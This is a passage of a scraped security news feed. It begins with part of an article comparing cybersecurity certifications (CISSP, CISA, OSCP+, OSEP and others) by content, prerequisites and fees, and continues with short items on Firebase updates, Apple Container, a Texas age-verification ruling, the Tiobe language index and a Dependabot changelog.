<p>Those who earn the <a href="https://learn.microsoft.com/en-us/credentials/certifications/cybersecurity-architect-expert/">Microsoft Certified: Cybersecurity Architect Expert</a> credential are able to translate a cybersecurity strategy into capabilities that protect the assets, business, and operations of an organization. Through the certification process, candidates learn to design, guide the implementation of, and maintain security solutions that follow zero-trust principles and best practices. You’ll also be able to design solutions for governance, risk, and compliance (GRC), security operations, and security posture management.​</p>



<p>As a prerequisite, candidate must have earned one of the following: <a href="https://learn.microsoft.com/en-us/credentials/certifications/azure-security-engineer/">Microsoft Certified: Azure Security Engineer Associate</a>, <a href="https://learn.microsoft.com/en-us/credentials/certifications/identity-and-access-administrator/">Microsoft Certified: Identity and Access Administrator Associate</a>, <a href="https://learn.microsoft.com/en-us/credentials/certifications/security-operations-analyst/">Microsoft Certified: Security Operations Analyst Associate</a> certification.</p>



<p><strong>Training fees: </strong>Self-paced training is available from the course’s page and free of charge. There is also an option to find an instructor-led training with pricing starting at $1,300.</p>



<p><strong>Exam Fees:</strong> The exam costs $165 and Microsoft offers free practice assessments.</p>



<h2 class="wp-block-heading">Certificate of Cloud Security Knowledge (CCSK)</h2>



<p>As a certificate and not a certification — an important distinction — the Cloud Security Alliance (CSA) positions its <a href="https://cloudsecurityalliance.org/education/ccsk">Certificate of Cloud Security Knowledge</a> as the foundation for future credentials and upskilling in the sector. From this perspective, the CCSK is helpful for cybersecurity analysts, compliance managers, security engineers, architects, and administrators. This vendor-neutral certificate has been recently updated and covers topics in zero trust, DevSecOps, cloud telemetry and security analytics, artificial intelligence, and more. CCSK offers a variety of training modalities, including an exam prep kit, instructor-led classes offered virtually and in person, and an online self-paced option. Candidates must score at least 80% on the exam, randomly pulling 60 multiple-choice questions from a test bank.</p>



<p><strong>Training fees:</strong> Prices vary based on modality. A self-paced course<a href="https://cloudsecurityalliance.org/education/ccsk#preparing-for-the-ccsk"> and exam bundle costs $795</a>, and online, instructor-led training begins at<a href="https://cloudsecuritypass.com/training/"> </a><a href="https://cloudsecuritypass.com/training/">$995</a>.</p>



<p><strong>Exam fees:</strong> The exam costs $445, though discounts are<a href="https://cloudsecurityalliance.org/membership"> available for corporate members</a>, and<a href="https://cloudsecurityalliance.org/education/ccsk/free-for-veterans"> </a><a href="https://cloudsecurityalliance.org/education/ccsk/free-for-veterans">US military veterans can take it for free</a>.</p>



<h2 class="wp-block-heading">Certified in Risk and Information Systems Control (CRISC)</h2>



<p>Administered by ISACA, the<a href="https://www.isaca.org/credentialing/crisc"> </a><a href="https://www.csoonline.com/article/571249/crisc-certification-your-ticket-to-the-c-suite.html">Certified in Risk and Information Systems Control</a> certification provides candidates with training across four domains: corporate IT governance, risk assessment, risk response and reporting, and technology and security. CRISC is ideal for candidates who want to enhance and optimize business resilience and risk management across their organization. The exam consists of 150 questions across the four domains. Since ISACA began offering CRISC in 2010, more than 23,000 people have obtained the certification. ISACA claims 52% of certificate holders experienced on-the-job improvement, and CRISC is the “4th top-paying certification worldwide.” To qualify for CRISC, candidates must adhere to a code of professional ethics and have <a href="https://support.isaca.org/s/article/What-are-the-requirements-to-become-CRISC-certified">three years of work experience</a> in risk assessment and risk response and reporting. On passing the exam, candidates must submit 20 CPE credits annually and<a href="https://www.isaca.org/-/media/files/isacadp/project/isaca/certification/crisc/crisc-cpe/crisc-cpe-policy.pdf"> </a><a href="https://www.isaca.org/-/media/files/isacadp/project/isaca/certification/crisc/crisc-cpe/crisc-cpe-policy.pdf">120 continuing professional education (CPE) hours</a> every three years to maintain their CRISC.</p>



<p><strong>Training fees:</strong> ISACA offers three resources: an<a href="https://store.isaca.org/s/store#/store/browse/detail/a2S4w000004Km4PEAS"> </a><a href="https://store.isaca.org/s/store#/store/browse/detail/a2SVQ000001VR1l2AG">online review course</a>, $895; a review manual in<a href="https://store.isaca.org/s/store#/store/browse/detail/a2S4w000004Tx3aEAC"> </a><a href="https://store.isaca.org/s/store#/store/browse/detail/a2SVQ000001FWgY2AW">print</a> or<a href="https://store.isaca.org/s/store#/store/browse/detail/a2S4w000004Tx60EAC"> </a><a href="https://store.isaca.org/s/store#/store/browse/detail/a2SVQ000001FoOv2AK">digital</a>, $139; and an<a href="https://store.isaca.org/s/store#/store/browse/detail/a2S4w000004Ko5TEAS"> </a><a href="https://store.isaca.org/s/store#/store/browse/detail/a2SVQ000001IPKL2A4">annual subscription to a 833-question test bank</a>, $399. Discounts are available for ISACA members.</p>



<p><strong>Exam fees: </strong>$575, ISACA members; $760 for non-members; plus $50 application fee.</p>



<h2 class="wp-block-heading">Certified Information Systems Auditor (CISA)</h2>



<p>The Information Systems Audit and Control Association (ISACA)’s CISA is geared toward IT auditors who wish to upskill or earn a pay boost. According to ISACA, 70% of CISA holders report on-the-job improvement, and another 22% receive a raise. The course covers five domains: information systems auditing, implementation, and operations; protection of information assets; and IT governance. The<a href="https://www.isaca.org/-/media/files/isacadp/project/isaca/certification/exam-candidate-guides/2024/exam-candidate-guide-2024.pdf"> </a>four-hour exam consists of 150 multiple-choice questions, and candidates must earn 450 on ISACA’s scaled scoring system, with 800 representing a perfect score. To<a href="https://www.isaca.org/credentialing/cisa/maintain-cisa-certification"> </a><a href="https://www.isaca.org/credentialing/cisa/maintain-cisa-certification">maintain their CISA</a>, certification holders must take 20 CPE credits annually and 120 over three years through conferences, volunteering, on-demand learning, and other methods as well as paying maintenance fee. To qualify, you must have five years of experience in IT or IS audit, control, assurance, or security. You can apply for an experience waiver for up to three years.</p>



<p><strong>Training fees:</strong> ISACA offers four resources: an<a href="https://store.isaca.org/s/store#/store/browse/detail/a2SVQ000000Fqvx2AC"> </a><a href="https://store.isaca.org/s/store#/store/browse/detail/a2SVQ000000Fqvx2AC">online review course</a> for $895, an<a href="https://store.isaca.org/s/store#/store/browse/detail/a2S4w000008KxGWEA0"> </a><a href="https://store.isaca.org/s/store#/store/browse/detail/a2S4w000008KxGWEA0">annual subscription to a question bank</a> for $399, and a print or digital<a href="https://store.isaca.org/s/store#/store/browse/detail/a2S4w000004W2rOEAS"> </a><a href="https://store.isaca.org/s/store#/store/browse/detail/a2S4w000004W2rOEAS">review manual</a> for $139. Discounts are available for ISACA members. </p>



<p><strong>Exam fees:</strong> $575, members; $760, non-members; plus $50 application fee.</p>



<h2 class="wp-block-heading">Certified Information Systems Security Professional (CISSP)</h2>



<p><a href="https://www.csoonline.com/article/570239/cissp-certification-requirements-training-and-cost.html">CISSP</a> is a generalist cert from ISC2 aimed at security pros who have already established a strong track record. Advanced-level analysts interested in getting CISSP certified will need to know all the ins and outs of security and risk management, asset security, operations, security assessment and testing, and more. The CISSP certification requires five years of full-time experience in at least two of its <a href="https://www.isc2.org/certifications/cissp#The%20CISSP%20Exam">eight domains</a>. The exam is <a href="https://www.isc2.org/Certifications/CISSP/CISSP-CAT">adaptive</a>, ranging from 100 to 150 questions, including multiple-choice and advanced items of varying formats. Candidates need to score 700 points out of 1,000 to pass the exam.</p>



<p><strong>Training fees:</strong><a href="https://www.isc2.org/training/online-self-paced/cissp-online-self-paced"> </a>Online self-paced training <a href="https://www.isc2.org/training#CISSP">fees start</a> at $595 and can cost up to $1,993;<a href="https://www.isc2.org/training/online-instructor-led/cissp-online-instructor-led"> </a>online instructor-led bootcamp costs $2,880.</p>



<p><strong>Exam fee:</strong><a href="https://www.isc2.org/register-for-exam/isc2-exam-pricing"> </a><a href="https://www.isc2.org/register-for-exam/isc2-exam-pricing">$749</a></p>



<h2 class="wp-block-heading">Certified Secure Software Lifecycle Professional (CSSLP)</h2>



<p>This ISC2 certification helps cyber pros build their career by training them to better incorporate security practices throughout software development phases. The <a href="https://www.isc2.org/certifications/csslp">CSSLP</a> exam evaluates experience across eight domains: secure software concepts; secure software; lifecycle management; secure software requirements; secure software architecture and design; secure software implementation; secure software testing; secure software deployment, operations, maintenance; secure software supply chain. Those wishing to acquire the CSSLP must have four years of paid work experience as a software development lifecycle professional in one or more of the eight domains.</p>



<p><strong>Training fees:</strong><a href="https://www.isc2.org/training/online-self-paced/cissp-online-self-paced"> </a>Online self-paced training <a href="https://www.isc2.org/training#CSSLP">fees start</a> at $550 and can cost up to $1,718; online instructor-led bootcamp costs $2,650.</p>



<p><strong>Exam fee:</strong> <a href="https://www.isc2.org/register-for-exam/isc2-exam-pricing">$599</a></p>



<h2 class="wp-block-heading">Check Point Certified Security Master (CCSM)</h2>



<p>To become a <a href="https://www.checkpoint.com/services/training/certification-program/">Check Point Certified Security Master (CCSM) </a>security professionals must have an active Certified Security Expert (CCSE) and mast have completed two subsequent Check Point Specialist accreditations. CCSM validates advanced expertise in configuring, deploying, and troubleshooting Check Point solutions. Check Point certifications are valid for 24 months.</p>



<p><strong>Training fees:</strong><a href="https://www.isc2.org/training/online-self-paced/cissp-online-self-paced"></a> <a href="https://securityservices.checkpoint.com/categories/trainingprograms">Training for CCSE</a> is $3,500</p>



<p><strong>Exam fee:</strong> The fee for CCSE is $300</p>



<h2 class="wp-block-heading">GIAC Experienced Cybersecurity Specialist (GX-CS)</h2>



<p>The <a href="https://www.giac.org/certifications/experienced-cyber-security-gxcs">Experienced Cybersecurity Specialist (GX-CS)</a> sits within the applied knowledge certifications with GIAC. The certification is for practitioners to show their qualifications for advanced, hands-on IT systems roles across cybersecurity. Its intent is to demonstrate the candidate can navigate evolving real-world threats. The certification covers five areas: network security analysis and tools; evaluation of Windows and Linux OS security; advanced security tools and techniques; common attacks and defenses; and implementing overall cybersecurity and information security. The GX-CS is for <a href="https://www.giac.org/certifications/security-essentials-gsec">GSEC</a> holders who acquired additional experience — the GSEC exam costs $999, and SANS Institute offers <a href="https://www.sans.org/cyber-security-courses/security-essentials">training</a> for GSEC.</p>



<p><strong>Training fees:</strong><a href="https://www.isc2.org/training/online-self-paced/cissp-online-self-paced"></a> There are a few related affiliate training programs provided by SANS, each costing approximately $9,000.</p>



<p><strong>Exam fee: </strong>$499 for those with an active GSEC; otherwise <a href="https://www.giac.org/pricing">$1,299</a>.</p>



<h2 class="wp-block-heading">OffSec Certified Professional (OSCP+)</h2>



<p>To earn the<a href="https://www.offsec.com/courses/pen-200/"> </a><a href="https://www.offsec.com/courses/pen-200/">OffSec Certified Professional</a> certification, candidates must complete the affiliated course, PEN-200: Penetration Testing with Kali Linux, and pass the subsequent exam. The course covers 20 plus modules, including information gathering, vulnerability scanning, encryption and cryptography, Active Directory and AWS exploitation, and more. Certificate holders will have shown mastery of penetration testing methodologies ideal for new roles, such as an ethical hacker, incident responder, or threat hunter. The OSCP+ exam is entirely hands-on, and test-takers must compromise systems within a lab environment.</p>



<p>OffSec does not enforce any prerequisites but recommends candidates be familiar with TCP/IP networking, scripting in Bash and Python, and Linux and Windows, which they can learn through its<a href="https://www.offsec.com/learning/paths/network-penetration-testing-essentials/"> </a><a href="https://www.offsec.com/learning/paths/network-penetration-testing-essentials/">Network Penetration Testing Essentials Learning Path</a>.</p>



<p><strong>Training and exam fees:</strong> OffSec bundles the course and exam for $1,749 and as a yearly subscription that includes access to one 200 or 300-level course, the associated labs, and two exam attempts for $2,749 annually.</p>



<h2 class="wp-block-heading">OffSec Experienced Penetration Tester (OSEP)</h2>



<p>The<a href="https://www.offsec.com/courses/pen-300/"> </a><a href="https://www.offsec.com/courses/pen-300/">OffSec Experienced Penetration Tester</a> is ideal for penetration testers and ethical hackers who need more advanced techniques to sharpen offensive skills against modern enterprise defenses. Across more than 20 modules, the certification introduces these professionals to advanced offensive techniques, EDR and AV evasion, advanced Windows offensive security and more. During the two-day proctored exam, professionals must connect to a lab environment via a VPN and compromise multiple machines within a network through several possible attack paths. To pass, professionals must achieve the objective stated within the control panel or score at<a href="https://help.offsec.com/hc/en-us/articles/360049781352-OSEP-Exam-FAQ"> </a><a href="https://help.offsec.com/hc/en-us/articles/360049781352-OSEP-Exam-FAQ">least 100 points</a> — 10 points are awarded for every flag found in a local.txt or proof.txt file. Professionals who earn their OSEP can also obtain their<a href="https://www.offsec.com/certificates/osce3/"> </a><a href="https://www.offsec.com/certificates/osce3/">OSCE³ Certification</a> to demonstrate their mastery of offensive security. They would also need to pass the exams for WEB-300: Advanced Web Attacks and Exploitation and EXP-301: Windows User Mode Exploit Development, after which the OSCE³ is automatically awarded.</p>



<p>While there are no formal prerequisites for OSEP, OffSec recommends candidates take the<a href="https://www.offsec.com/courses/pen-200/"> </a><a href="https://www.offsec.com/courses/pen-200/">PEN-200: Penetration Testing</a> with Kali Linux or have a strong foundation in operating systems, networking, and scripting. </p>



<p><strong>Training and exam fees:</strong> OffSec bundles the course and exam for $1,749, and as a yearly subscription that includes access to one 200 or 300-level course, the associated labs, and two exam attempts for $2,749 annually.</p>



<h2 class="wp-block-heading">OffSec Exploitation Expert (OSEE)</h2>



<p>OffSec’s <a href="https://www.offsec.com/courses/exp-401/">Offensive Security Exploitation Expert</a> is a vendor-specific certification, focusing on advanced Windows exploitation, with OffSec deeming it its most challenging certification. As a penetration testing course, the material dives deep into topics such as advanced heap manipulations and disarming WDEG mitigations. Certificate holders can identify problematic code in Windows operating systems and develop exploits. For the practical exam, candidates must complete a comprehensive penetration test of software and create an exploit within a lab environment — all within 72 hours. To qualify, you must have experience debugging, developing Windows exploits, and using the following technologies: WinDBG, x86_64, IDA Pro, and basic C/C++ programming. OffSec recommends completing its<a href="https://www.offsec.com/courses-and-certifications/"> </a><a href="https://www.offsec.com/courses-and-certifications/">300-level certifications</a> before OSEE.</p>



<p><strong>Training and exam fees:</strong> OffSec offers only instructor-led, in-person training. Enterprises should <a href="https://www.offsec.com/organizations/live-training/">inquire for more information</a>.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[June 2026: Gemini APIs with Swift, GA hybrid inference on web, and more Firebase updates!]]></title>
<description><![CDATA[Author: Firebase - Bewertung: 3x - Views:33 Hear the latest updates across Firebase for June 2026, including the preview of Gemini cloud models in Apple's Foundation Models framework, AI Logic and Firestore Pipelines upgrades, and much more. 

Chapters:
0:00 - Gemini in Apple's Foundation Models ...]]></description>
<link>https://tsecurity.de/de/3652104/it-security-video/june-2026-gemini-apis-with-swift-ga-hybrid-inference-on-web-and-more-firebase-updates/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652104/it-security-video/june-2026-gemini-apis-with-swift-ga-hybrid-inference-on-web-and-more-firebase-updates/</guid>
<pubDate>Tue, 07 Jul 2026 18:19:08 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Firebase - Bewertung: 3x - Views:33 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/cVX97Bw3UtY?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Hear the latest updates across Firebase for June 2026, including the preview of Gemini cloud models in Apple's Foundation Models framework, AI Logic and Firestore Pipelines upgrades, and much more. <br />
<br />
Chapters:<br />
0:00 - Gemini in Apple's Foundation Models framework<br />
0:54 - More AI Logic upgrades<br />
1:48 - New agent skills<br />
2:18 - Node.js runtimes<br />
2:58 - Firestore pipelines<br />
3:38 - Firebase ML deprecation<br />
<br />
Resources:<br />
Gemini in Apple's Foundation Models framework → https://goo.gle/4oZDcjV <br />
Bringing Gemini to Apple's Foundation Models API → https://goo.gle/3TmyzVj<br />
<br />
More AI Logic upgrades:<br />
Migrate from Imagen to a Gemini Image model ("Nano Banana") → https://goo.gle/4gmveiR <br />
Remotely change the model name in your app → https://goo.gle/4p57a66<br />
A/B testing in Remote Config → https://goo.gle/4fdUs1F <br />
<br />
New agent skills:<br />
Get started with Firebase SQL Connect using AI agents → https://bit.ly/4eSeu0d <br />
Firebase-crashlytics → https://goo.gle/3R9FyQV <br />
Firebase-remote-config-basics →  https://goo.gle/4oWkQQW <br />
<br />
Node.js runtimes → https://goo.gle/3QLDbnh <br />
<br />
Firestore pipelines → https://goo.gle/3Tcbm8g <br />
Live text search with Firestore pipelines and React → https://goo.gle/4vAe1Hg <br />
<br />
Firebase ML deprecation → https://goo.gle/4blpulP  <br />
<br />
Migrate TensorFlow Lite models from Firebase ML to Cloud Storage → https://goo.gle/4eEsGey <br />
<br />
<br />
#Firebase<br />
<br />
Watch more Firebase Release Notes → https://goo.gle/firebase-release-notes<br />
Subscribe to Firebase → https://goo.gle/Firebase<br />
<br />
Speaker: Jeff Huleatt<br />
Products Mentioned: Firebase, Firebase A/B Testing,,  Firebase Crashlytics, Gemini<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Your voice can be cloned in minutes using AI, and Taylor Swift is trying to protect hers — but what rights do the rest of us have?]]></title>
<description><![CDATA[As Taylor Swift fights for ownership of her voice, I asked legal experts what rights the rest of us have.]]></description>
<link>https://tsecurity.de/de/3651229/it-nachrichten/your-voice-can-be-cloned-in-minutes-using-ai-and-taylor-swift-is-trying-to-protect-hers-but-what-rights-do-the-rest-of-us-have/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3651229/it-nachrichten/your-voice-can-be-cloned-in-minutes-using-ai-and-taylor-swift-is-trying-to-protect-hers-but-what-rights-do-the-rest-of-us-have/</guid>
<pubDate>Tue, 07 Jul 2026 12:48:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[As Taylor Swift fights for ownership of her voice, I asked legal experts what rights the rest of us have.]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Container: Open-source tool for Linux containers on the Mac]]></title>
<description><![CDATA[Developers on Apple silicon Macs have run Linux containers through software built around a single shared virtual machine for years. Apple’s open-source Container project gives each Linux workload its own lightweight virtual machine. Container is written in Swift and tuned…
Read more →
The post Ap...]]></description>
<link>https://tsecurity.de/de/3650558/it-security-nachrichten/apple-container-open-source-tool-for-linux-containers-on-the-mac/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3650558/it-security-nachrichten/apple-container-open-source-tool-for-linux-containers-on-the-mac/</guid>
<pubDate>Tue, 07 Jul 2026 07:38:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Developers on Apple silicon Macs have run Linux containers through software built around a single shared virtual machine for years. Apple’s open-source Container project gives each Linux workload its own lightweight virtual machine. Container is written in Swift and tuned…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/apple-container-open-source-tool-for-linux-containers-on-the-mac/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/apple-container-open-source-tool-for-linux-containers-on-the-mac/">Apple Container: Open-source tool for Linux containers on the Mac</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Container: Open-source tool for Linux containers on the Mac]]></title>
<description><![CDATA[Developers on Apple silicon Macs have run Linux containers through software built around a single shared virtual machine for years. Apple’s open-source Container project gives each Linux workload its own lightweight virtual machine. Container is written in Swift and tuned for Apple silicon. It cr...]]></description>
<link>https://tsecurity.de/de/3650534/it-security-nachrichten/apple-container-open-source-tool-for-linux-containers-on-the-mac/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3650534/it-security-nachrichten/apple-container-open-source-tool-for-linux-containers-on-the-mac/</guid>
<pubDate>Tue, 07 Jul 2026 07:24:06 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Developers on Apple silicon Macs have run Linux containers through software built around a single shared virtual machine for years. Apple’s open-source Container project gives each Linux workload its own lightweight virtual machine. Container is written in Swift and tuned for Apple silicon. It creates and runs Linux containers as lightweight virtual machines, and it works with OCI-compatible images, so a developer can pull from and push to any standard registry. Images built with it … <a href="https://www.helpnetsecurity.com/2026/07/07/apple-container-open-source-linux-mac/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/07/apple-container-open-source-linux-mac/">Apple Container: Open-source tool for Linux containers on the Mac</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Supreme Court Allows Texas To Require Age Verification For Mobile Apps]]></title>
<description><![CDATA[The Supreme Court allowed Texas to enforce a law requiring app stores to verify users' ages and obtain parental consent before minors can download apps. Tech industry groups argue the law broadly restricts young people's access to digital speech, but the court let a 5th Circuit order stand withou...]]></description>
<link>https://tsecurity.de/de/3650006/it-security-nachrichten/supreme-court-allows-texas-to-require-age-verification-for-mobile-apps/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3650006/it-security-nachrichten/supreme-court-allows-texas-to-require-age-verification-for-mobile-apps/</guid>
<pubDate>Tue, 07 Jul 2026 00:06:05 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Supreme Court allowed Texas to enforce a law requiring app stores to verify users' ages and obtain parental consent before minors can download apps. Tech industry groups argue the law broadly restricts young people's access to digital speech, but the court let a 5th Circuit order stand without explanation or noted dissents. CNN notes that the Supreme Court's decision "doesn't resolve the case but rather will allow Texas to enforce the law while the litigation continues to play out." From the report: "A minor child who downloads a software application from an app store agrees to contractual terms of service, including whether the child's location will be tracked, whether the child's privacy will be protected, whether information from the child's phone can be sold by the developer, and whether the child waives the right to sue," Texas told the Supreme Court in urging the court to allow its law to take effect.
 
But the Computer &amp; Communications Industry Association, a trade group whose members include Apple and Google, said the law would effectively bar young people from accessing a wide range of content, "be it a book by Ernest Hemingway or J.K. Rowling, a Taylor Swift album, or a subscription to National Geographic." Allowing the law to take effect, the group said, would have "profound consequences for the protection of digital speech."
 
[...] In the new case, involving Texas' age verification for apps, a federal district court blocked the law's enforcement in December -- days before it was set to take effect. But a three-judge panel of the conservative 5th US Circuit Court of Appeals put that decision on hold in early June, allowing the state to enforce it. By declining to take up the emergency appeal from the computer and student groups, the Supreme Court has left the 5th Circuit's decision in place.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Supreme+Court+Allows+Texas+To+Require+Age+Verification+For+Mobile+Apps%3A+https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F07%2F06%2F2144244%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F07%2F06%2F2144244%2Fsupreme-court-allows-texas-to-require-age-verification-for-mobile-apps%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://yro.slashdot.org/story/26/07/06/2144244/supreme-court-allows-texas-to-require-age-verification-for-mobile-apps?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Rust language rises to top 10 in Tiobe popularity index]]></title>
<description><![CDATA[For the first time ever, the Rust language has cracked the top 10 in Tiobe’s index of programming language popularity.



With a 1.34% rating, Rust is ranked 10th in the Tiobe Programming Community index for July 2026, which was published July 5. “Rust’s growing popularity can largely be attribut...]]></description>
<link>https://tsecurity.de/de/3649990/ai-nachrichten/rust-language-rises-to-top-10-in-tiobe-popularity-index/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3649990/ai-nachrichten/rust-language-rises-to-top-10-in-tiobe-popularity-index/</guid>
<pubDate>Mon, 06 Jul 2026 23:48:55 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>For the first time ever, the <a href="https://www.infoworld.com/article/2255250/what-is-rust-safe-fast-and-easy-software-development.html">Rust language</a> has cracked the top 10 in Tiobe’s index of programming language popularity.</p>



<p>With a 1.34% rating, Rust is ranked 10th in the <a href="https://www.tiobe.com/tiobe-index/">Tiobe Programming Community index for July 2026</a>, which was published July 5. “Rust’s growing popularity can largely be attributed to its strong focus on memory safety while still generating extremely fast code,” said Paul Jansen, CEO at software quality services provider Tiobe.</p>



<p>“[Rust] is widely regarded as a direct competitor to <a href="https://www.infoworld.com/article/2261151/why-the-c-programming-language-still-rules.html">C</a> and <a href="https://www.infoworld.com/article/4065702/safe-c-proposal-for-memory-safety-flames-out.html">C++</a>, both of which continue to struggle with the challenges of explicit memory management and are therefore often considered less safe,” Jansen said. “That said, the C and C++ communities are actively working on making their languages safer. Time will tell whether these efforts will pay off in time.”</p>



<p>The Tiobe index marks its 25th anniversary this month. Tiobe’s ratings are based on the number of skilled engineers, courses, and third-party vendors pertinent to a language, calculated using popular websites such as Google, Bing, Amazon, and Wikipedia.</p>



<p>Tiobe’s top 10 programming languages for July 2026:</p>



<ol start="1" class="wp-block-list">
<li><a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html">Python</a>, 18.94%</li>



<li>C, 10.86%</li>



<li>C++, 9.12%</li>



<li><a href="https://www.infoworld.com/article/4050993/jdk-26-the-new-features-in-java-26.html">Java</a>, 8.03%</li>



<li><a href="https://www.infoworld.com/article/4131649/the-best-new-features-of-c-14.html">C#</a>, 4.49%</li>



<li><a href="https://www.infoworld.com/article/2263137/what-is-javascript-the-full-stack-programming-language.html">JavaScript</a>, 2.72%</li>



<li>Visual Basic, 2.48%</li>



<li>SQL, 1.71%</li>



<li>R, 1.69%</li>



<li>Rust, 1.34%</li>
</ol>



<p>Jansen said Tiobe will publish a programming language flowchart designed to help developers select the most suitable programming language for their specific use case. The flowchart will be published on the Tiobe website this week or next week.</p>



<p>The alternative Pypl Popularity of Programming Language Index assesses language popularity by analyzing how often language tutorials are searched on in Google.</p>



<p>The Pypl top 10 programming langages for July 2026:</p>



<ol start="1" class="wp-block-list">
<li>Python, 47.49%</li>



<li>Java, 11.44%</li>



<li>C/C++, 9.68%</li>



<li>R, 4.68%</li>



<li>JavaScript, 3.97%</li>



<li>Objective-C, 3.15%</li>



<li>PHP, 2.29%</li>



<li>C#, 2.06%</li>



<li>Rust, 2.06%</li>



<li>Swift, 1.98%</li>
</ol>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[v0.385.0]]></title>
<description><![CDATA[What's Changed

Support package-scoped NuGet release notes by @Cjewett in #15211
Filter null entries from job directories by @brettfo in #15457
devcontainers: preserve major-only Feature pins when precision-matching tags are absent by @thavaahariharangit with @Copilot in #15445
Type opaque hashes...]]></description>
<link>https://tsecurity.de/de/3649634/it-security-tools/v03850/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3649634/it-security-tools/v03850/</guid>
<pubDate>Mon, 06 Jul 2026 20:52:04 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>Support package-scoped NuGet release notes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Cjewett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Cjewett">@Cjewett</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4578908271" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15211" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15211/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15211">#15211</a></li>
<li>Filter null entries from job directories by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brettfo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brettfo">@brettfo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4778918666" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15457" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15457/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15457">#15457</a></li>
<li>devcontainers: preserve major-only Feature pins when precision-matching tags are absent by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/thavaahariharangit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/thavaahariharangit">@thavaahariharangit</a> with @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4768499693" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15445" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15445/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15445">#15445</a></li>
<li>Type opaque hashes in common with T.anything by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4780604077" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15458" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15458/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15458">#15458</a></li>
